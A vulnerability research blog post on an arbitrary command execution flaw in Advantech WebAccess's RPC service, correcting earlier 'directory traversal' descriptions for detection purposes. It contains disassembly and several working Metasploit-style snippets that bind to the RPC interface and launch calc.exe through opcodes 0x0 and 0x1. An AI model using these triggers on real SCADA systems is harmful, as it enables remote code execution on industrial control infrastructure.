To ../ or not to ../, that is the question

Contributors: Grant Willcox and Gaurav Baruah

Intro

During our day-to-day research of N-day vulnerabilities at Exodus, we often come across public advisories containing incorrect root cause analysis of the core vulnerability. This blogpost details one such vulnerability in Advantech WebAccess which is a software suite used for managing SCADA environments. Although the vulnerability in question had been analyzed numerous times by multiple researchers, we discovered that every advisory and public exploit incorrectly denoted “directory traversal” as a factor. Therefore, if anyone tried to implement detection guidance for the vulnerability based solely on the public advisory, that detection would be deemed ineffective as it would likely involve scanning for path traversal characters which aren’t even required to exploit the vulnerability.

Additionally, this vulnerability (and several others within Advantech WebAccess) can be reached via multiple paths, a fact which we believe hasn’t been widely addressed by other blogposts/exploits.

Improper Root Cause Analysis

The vulnerability in 0x2711 IOCTL which is reachable over an RPC service had been disclosed twice by the ZDI as ZDI-18-024 and ZDI-18-483 and each time the vulnerability was described as a “directory traversal” vulnerability. It was also claimed to be patched by the vendor in both advisories until Tenable published a blogpost about it being still unpatched.

While the blogpost correctly mentioned that the lpApplicationName was set to NULL and that an attacker controlled string could be eventually passed to the CreateProcessA API as the lpCommandLine parameter, it was surprising to note the use of path traversal characters in the PoC code, given the fact that directory traversal isn’t even required to execute binaries located outside the application’s directory.

Referring to Microsoft’s documentation of the CreateProcessA API, one can observe the following:

“If lpApplicationName is NULL, the first white space–delimited token of the command line specifies the module name. If you are using a long file name that contains a space, use quoted strings to indicate where the file name ends and the arguments begin (see the explanation for the lpApplicationName parameter). If the file name does not contain an extension, .exe is appended. Therefore, if the file name extension is .com, this parameter must include the .com extension. If the file name ends in a period (.) with no extension, or if the file name contains a path, .exe is not appended. If the file name does not contain a directory path, the system searches for the executable file in the following sequence:

  1. The directory from which the application loaded.
  2. The current directory for the parent process.
  3. The 32-bit Windows system directory. Use the GetSystemDirectory function to get the path of this directory.
  4. The 16-bit Windows system directory. There is no function that obtains the path of this directory, but it is searched. The name of this directory is System.
  5. The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
  6. The directories that are listed in the PATH environment variable. Note that this function does not search the per-application path specified by the App Paths registry key. To include this per-application path in the search sequence, use the ShellExecute function.”

From this description it is apparent that no directory traversal is needed to execute a command like ‘calc.exe’. Lets try to visualize the search process using some Metasploit code which triggers calc.exe using RPC opcode 0x1.

1
2
3
4
5
6
rpcBuffer = NDR.long(connId) + # connection ID
NDR.long(0x2711) + # vuln IOCTL
NDR.long(0) +
NDR.UniConformantArray("calc.exe\x00") # string passed to CreateProcessA()

dcerpc_call(0x1, rpcBuffer)

In the code above one creates an RPC buffer with the connection ID obtained via RPC opcode 0x4, the vulnerable IOCTL code, and the command to execute as a NULL terminated string, which will be passed to CreateProcessA. Once this buffer is created, it will be sent to the vulnerable Advantech WebAccess RPC server using RPC opcode 0x1, at which point a search operation will be conducted to find the location where calc.exe is located. This can be seen in the screenshot below.

Windows searching for the location of the calc.exe binary

Therefore, as a result of CreateProcessA’s behavior, an attacker could either choose to supply the full path to an executable file or provide just the executable filename and Windows would automatically locate and execute that binary based on the criteria given above. As a result, defenders cannot simply rely on detecting the presence of directory traversal characters to determine if the same IOCTL request is being abused for malicious purposes.

This proves that the aforementioned vulnerability can be categorized as an arbitrary command execution vulnerability and no directory traversal is required for its exploitation.

The Vulnerable Code Exists In Two Locations (Not One)

The vulnerable implementation of 0x2711 IOCTL is contained in two binaries, namely drawsrv.dll and viewsrv.dll. Tenable’s analysis only uncovered the implementation in drawsrv.dll and did not cover the vulnerable code located in viewsrv.dll. The alternative code path can be seen in the image below.

The code flow to this branch is the result of a subtle comparison made at 0x404838 within sub_4046D0 as shown below. Within this code, a comparison is made to see whether the connection type associated with a client’s RPC session is of type 0, in which case VsDaqWebService is called, or 2, in which case DsDaqWebService is called.

.text:00404838                 mov     eax, [esi+14h]
.text:0040483B                 test    eax, eax        ; check connType value
.text:0040483D                 jnz     short check_for_DsDaqWebService
.text:0040483F                 cmp     ebx, 2710h
.text:00404845                 jl      ioctl_not_in_0x2710_0x4e20_range
.text:0040484B                 cmp     ebx, 4E20h
.text:00404851                 jge     ioctl_not_in_0x2710_0x4e20_range
.text:00404857                 push    esi             ; proceed to call VsDaqWebService
.text:00404857                                         ; located further down
.text:00404858                 mov     ecx, edi
.text:0040485A                 call    sub_4045B0
.text:0040485F                 test    eax, eax
.text:00404861                 jz      short ioctl_not_in_0x2710_0x4e20_range
.text:00404863                 mov     eax, [esi+4]
.text:00404866                 test    eax, eax
.text:00404868                 jz      short ioctl_not_in_0x2710_0x4e20_range
.text:0040486A                 mov     eax, [esi+8]
.text:0040486D                 test    eax, eax
.text:0040486F                 jz      short ioctl_not_in_0x2710_0x4e20_range
.text:00404871                 push    offset sub_403190
.text:00404876                 mov     ecx, [ebp+arg_14]
.text:00404879                 push    ecx
.text:0040487A                 mov     edx, [ebp+Dest]
.text:0040487D                 push    edx
.text:0040487E                 mov     ecx, [ebp+arg_C]
.text:00404881                 push    ecx
.text:00404882                 mov     esi, [ebp+Str1]
.text:00404885                 push    esi
.text:00404886                 push    ebx
.text:00404887                 mov     edx, [ebp+arg_4]
.text:0040488A                 push    edx
.text:0040488B                 call    eax             ; VsDaqWebService
.text:0040488D                 mov     ecx, [ebp+arg_1C]
.text:00404890                 mov     [ecx], eax
.text:00404892                 jmp     short loc_4048DE
.text:00404894 ; ---------------------------------------------------------------------------
.text:00404894
.text:00404894 check_for_DsDaqWebService:              ; CODE XREF: sub_4046D0+16D↑j
.text:00404894                 cmp     eax, 2
.text:00404897                 jnz     short ioctl_not_in_0x2710_0x4e20_range
.text:00404899                 cmp     ebx, 2710h
.text:0040489F                 jl      short ioctl_not_in_0x2710_0x4e20_range
.text:004048A1                 cmp     ebx, 4E20h
.text:004048A7                 jge     short ioctl_not_in_0x2710_0x4e20_range
.text:004048A9                 push    esi             ; proceed to call DsDaqWebService
.text:004048A9                                         ; located further down
.text:004048AA                 mov     ecx, edi
.text:004048AC                 call    sub_4045B0
.text:004048B1                 test    eax, eax
.text:004048B3                 jz      short ioctl_not_in_0x2710_0x4e20_range
.text:004048B5                 push    offset sub_403190
.text:004048BA                 mov     edx, [ebp+arg_14]
.text:004048BD                 push    edx
.text:004048BE                 mov     eax, [ebp+Dest]
.text:004048C1                 push    eax
.text:004048C2                 mov     ecx, [ebp+arg_C]
.text:004048C5                 push    ecx
.text:004048C6                 mov     esi, [ebp+Str1]
.text:004048C9                 push    esi
.text:004048CA                 push    ebx
.text:004048CB                 mov     edx, [ebp+arg_4]
.text:004048CE                 push    edx
.text:004048CF                 call    DsDaqWebService

It can also be seen that the code handling the vulnerable 0x2711 IOCTL in both binaries look nearly identical.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __stdcall VsDaqWebService(int a1, int IOCTL, char *controlledBuffer, int a4, LPWIN32_FIND_DATAA lpFindFileData, size_t SizeInBytes, int a7)
{
 ....
  switch ( IOCTL )
  {
    case 0x2710:
      v8 = (HWND)sub_10003DD0(controlledBuffer);
      goto LABEL_236;
    case 0x2711:
      sub_10006B80();
      v7 = sub_10003E40(controlledBuffer, *((_DWORD *)controlledBuffer + 128));
      ....

-------------------------------------------------------

DWORD __cdecl sub_10003E40(LPSTR lpCommandLine, __int16 a2)
{
  struct _PROCESS_INFORMATION ProcessInformation; // [esp+4h] [ebp-54h]
  struct _STARTUPINFOA StartupInfo; // [esp+14h] [ebp-44h]

  memset(&StartupInfo.lpReserved, 0, 0x40u);
  StartupInfo.cb = 68;
  GetStartupInfoA(&StartupInfo);
  StartupInfo.wShowWindow = a2;
  if ( !CreateProcessA(0, lpCommandLine, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation) )
    return 0;
  WaitForInputIdle(ProcessInformation.hProcess, 0xFFFFFFFF);
  CloseHandle(ProcessInformation.hProcess);
  CloseHandle(ProcessInformation.hThread);
  return ProcessInformation.dwProcessId;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __stdcall DsDaqWebService(int a1, int IOCTL, char *controlledBuffer, unsigned int a4, LPWIN32_FIND_DATAA lpFindFileData, size_t SizeInBytes, int a7)
{
  ....
    switch ( IOCTL )
    {
      case 0x2710:
        v8 = sub_10001740(controlledBuffer);
        goto LABEL_258;
      case 0x2711:
        v133 = controlledBuffer;
        sub_10004180();
        v7 = sub_100017B0(controlledBuffer, *((_DWORD *)controlledBuffer + 128));
        ....

-------------------------------------------------------

DWORD __cdecl sub_100017B0(LPSTR lpCommandLine, __int16 a2)
{
  struct _PROCESS_INFORMATION ProcessInformation; // [esp+4h] [ebp-54h]
  struct _STARTUPINFOA StartupInfo; // [esp+14h] [ebp-44h]

  memset(&StartupInfo.lpReserved, 0, 0x40u);
  StartupInfo.cb = 68;
  GetStartupInfoA(&StartupInfo);
  StartupInfo.wShowWindow = a2;
  if ( !CreateProcessA(0, lpCommandLine, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation) )
    return 0;
  WaitForInputIdle(ProcessInformation.hProcess, 0xFFFFFFFF);
  CloseHandle(ProcessInformation.hProcess);
  CloseHandle(ProcessInformation.hThread);
  return ProcessInformation.dwProcessId;
}

Interestingly, the value on which the comparison is being performed comes from a different request and not the 0x2711 IOCTL request itself. This other request based on RPC opcode 0x4 has been described in detail by previous research such as ZDI’s. Instead of repeating the same analysis, it would suffice to say that the value being compared results from the connType value supplied as part of the request, as can be seen in the listing of opcode 0x4 as shown below.

1
2
3
4
5
6
7
/* opcode: 0x04, rpcsrv_conn_append */

void sub_4017A0 (
     [in] handle_t hBinding,
     [in] long connType,
     [out][ref][size_is(4)] char * arg_3,
     [out][ref] long * connId );

As a result, an attacker can target the vulnerable code in both binaries just by changing the connType value as can be seen in the Metasploit code shown below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Trigger CreateProcessA() in viewsrv.dll

handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
dcerpc_bind(handle)

connType = NDR.long(0x0)
return_buf = dcerpc_call(0x4, connType)

unk1, unk2, connId = return_buf.unpack("L*")

rpcBuffer = NDR.long(connId) + # connID
NDR.long(0x2711) + # vuln IOCTL
NDR.long(0) +
NDR.UniConformantArray("calc.exe\x00") # string passed to CreateProcessA()

dcerpc_call(0x1, rpcBuffer)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Trigger CreateProcessA() in drawsrv.dll

handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
dcerpc_bind(handle)

connType = NDR.long(0x2)
return_buf = dcerpc_call(0x4, connType)

unk1, unk2, connId = return_buf.unpack("L*")

rpcBuffer = NDR.long(connId) + # connID
NDR.long(0x2711) + # vuln IOCTL
NDR.long(0) +
NDR.UniConformantArray("calc.exe\x00") # string passed to CreateProcessA()

dcerpc_call(0x1, rpcBuffer)

Finding Other Paths To Trigger The Vulnerability

While reviewing other publically documented RPC vulnerabilities in Advantech WebAccess, we discovered that the usual trend was to trigger the vulnerability using one specific RPC opcode, while in reality it could triggered using multiple opcodes. This doesn’t bode well for defenders as an attacker could trigger the same vulnerability using a different opcode and thereby bypass the signature meant to trigger on a specific opcode request.

The arbitrary command execution vulnerability in 0x2711 IOCTL is also reachable over opcode 0x0, in addition to opcode 0x1 as shown in earlier code. The modified code to trigger it using opcode 0x0 is shown below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Triggering CreateProcessA() in viewsrv.dll using opcode 0x0

handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
dcerpc_bind(handle)

connType = NDR.long(0x0)
return_buf = dcerpc_call(0x4, connType)

unk1, unk2, connId = return_buf.unpack("L*")

rpcBuffer = NDR.long(connId) + # connID
NDR.long(0x2711) + # IOCTL
NDR.long(0) +
NDR.UniConformantArray("calc.exe\00") + # string passed to CreateProcessA()
NDR.long(0)

dcerpc_call(0x0, rpcBuffer)

Mitigation

Users of Advantech WebAccess are advised to set a Remote Access Code during the installation to protect the RPC service from unauthorized requests. The screen for setting up the code is outlined below.

Additionally, users can setup a remote access code per project as shown below.

Conclusion

It should be apparent by now that keeping up-to-date on patches from a vendor or relying on public advisories isn’t good enough. One needs to dig deep into a patch and analyse it to know if it actually fixed the vulnerability it was supposed to patch. Furthermore, all paths leading up to the vulnerable code need to be analysed in order for companies to provide complete detection for a vulnerability.

The information mentioned in this blogpost has been available to our N-day feed subscribers since January 2018 when the first public advisory about the vulnerability was released. It has enabled them to ensure their defensive measures have been implemented properly even in the absence of a proper patch from the vendor and the lack of correct information in public advisories.